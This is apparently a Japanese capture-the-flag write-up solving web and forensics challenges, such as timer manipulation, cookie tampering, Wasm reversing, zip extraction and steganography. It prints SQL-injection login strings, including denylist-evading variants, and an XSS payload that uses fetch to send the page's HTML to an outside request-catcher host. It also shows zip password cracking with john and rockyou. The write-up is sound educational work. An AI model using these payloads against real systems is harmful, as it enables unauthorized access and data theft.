解けたものだけ。
Countdown Timer [Web]

100日間は待てないので何とかしなくては。

カウントダウンが終了するとgetFlagが呼ばれる。 直接コンソールでgetFlagを呼ぼうとしたら呼べなかった。うーん。 適当にブレークとして、待ち時間を0に書き換えてやればフラグが出てくる。

Home Automation [Web]
色々巡回して、/offにアクセスしてみる。
You must be admin to turn off the lights. Currently you are "vampire".
ほう。

確かに。Cookieのuseをadminにしてアクセスしてみよう。

Movie-Login-1 [Web]
問題文とかみてもSQLiをしてほしそうな感じがあるので、
admin:' or 1=1 --でログインできる。
Wasm Protected Site 1 [Web]
Chrome Developer Toolを使えばもろ書いてある。

Agent Gerald [Web]
問題を見るとUser-Agentを適切に入れ替えてほしいという趣旨に見えるので、「Agent Gerald」に差し替えてみるとフラグが得られる。

Movie-Login-2 [Web]
前問と同じ問題だが、denylistが与えられる。
[
"1",
"0",
"/",
"="
]
これだと前のやつは使えないので、ちょっと書き換えてフラグを得る。
admin:' or true --
Movie-Login-3 [Web]
これも前問と同じでdenylistが更新されている。
[
"and",
"1",
"0",
"true",
"false",
"/",
"*",
"=",
"xor",
"null",
"is",
"<",
">"
]
色々解法がありそうだが、自分はこれで通した。
admin:' or 2 --
Regular Website [Web]
ソースコードを確認しよう。
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
const page = await (await browser).newPage();
await page.setJavaScriptEnabled(true);
try {
await page.setContent(`
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Comment</title>
</head>
<body>
<p>Welcome to the Regular Website admin panel.</p>
<h2>Site Stats</h2>
<p><strong>Comments:</strong> ???</p>
<p><strong>Flag:</strong> ${flag}</p>
<h2>Latest Comment</h2>
${sanitized}
</body>
</html>
`, {timeout: 3000, waitUntil: "networkidle2"});
} catch (e) {
console.error(e);
ctx.status = 500;
ctx.body = "error viewing comment";
await page.close();
return;
}
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
といった感じでサニタイズされて、フラグを含んだサイトに埋め込まれて管理者が確認するという流れ。
XSSを仕込んでサイトの中身を全部持ってくればよさそう。
色々試すと、以下でフラグが持ってこれる。
<img src=x onerror="fetch('https://XXXXXXXX.requestcatcher.com/test', { method : 'post', body: document.documentElement.innerHTML })"
普通のXSSコードを書いて最後の>を省略するだけ。
たまたま思いついてやったら成功したのだが、テクの名前とかついていたりするんだろうか。
Dangling Markup Injectionと雰囲気は似ていると思う。
Wasm Protected Site 2 [Web]
UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶいを参考に静的・動的解析していく
眺めていくと
- $v0は入力されたフラグ
- $v1は暗号化されたフラグ
- $v2はindex
という感じに使われていて$v0[$v2] == ($v2 * 9 + 127) xor enc[$v2]で比較をしているので、暗号化されたフラグを持ってきて、ルール通りに復元していくとフラグが得られる。
raw = [0x62, 0x6A, 0x73, 0x78, 0x50, 0x4B, 0x4D, 0x48, 0x7C, 0x22, 0x37, 0x4E, 0x1B, 0x44, 0x04, 0x33, 0x62, 0x5D, 0x50, 0x52, 0x19, 0x65, 0x25, 0x7F, 0x2F, 0x3B, 0x17]
ans = ""
for idx in range(27):
asc = (idx * 9 & 127) ^ raw[idx]
ans += chr(asc)
print(f'answer is {ans}')
Infinite Zip [Forensic]
zipが与えられる。これを解凍すると999.zipが出てきて、それをさらに解凍すると998.zipが出てくる。
スクリプトを書くのも面倒なので、バイナリエディタを開いて何とかならないか色々やってみると前半の適当な所を削ってzipのマジックコードらへんに寄せて消すとかなりスキップできる。

7zipとかを使えばCRCとか無視して無理矢理解凍してくれる。
最終的にflag.pngというファイルが手に入るが、そこに書いてあるフラグは答えではないみたい。
strings flag.png | grep bcaみたいにやるとほんとのフラグが手に入る。
Zstegosaurus [Forensic]
題名からzstegを使ってほしそうな感じがあり、使うと出てくる。
$ zsteg zstegosaurus.png b1,r,lsb,xy .. text: "h15_n@m3_i5nt_g3rard" b4,rgb,msb,xy .. text: ["w" repeated 10 times]
Secure Zip [Forensic]
パスワード付きzipが与えられる。
johnを使ったパスワードクラックをしてみよう。
$ zip2john chall.zip > chall_hash.txt ver 1.0 efh 5455 efh 7875 chall.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D ver 1.0 efh 5455 efh 7875 chall.zip/homework.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. $ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt chall_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status dogedoge (chall.zip) 1g 0:00:00:01 DONE (2021-06-12 18:00) 0.6756g/s 5784Kp/s 5784Kc/s 5784KC/s dolla bill..dodolke Use the "--show" option to display all of the cracked passwords reliably Session completed
これで解凍すればフラグが書いてある。
これは余談だが、たまにHint無しでは解くのが不可能な時もあるのでタダでHintが見られるときは即見ている。
ヒントにGerald loves listening to the song that goes "we will, we will".とあり、「queenがパスワードか?違うwewillrockyouがパスワードか?違う」としていたが、今思えばrockyouを言いたかっただけか。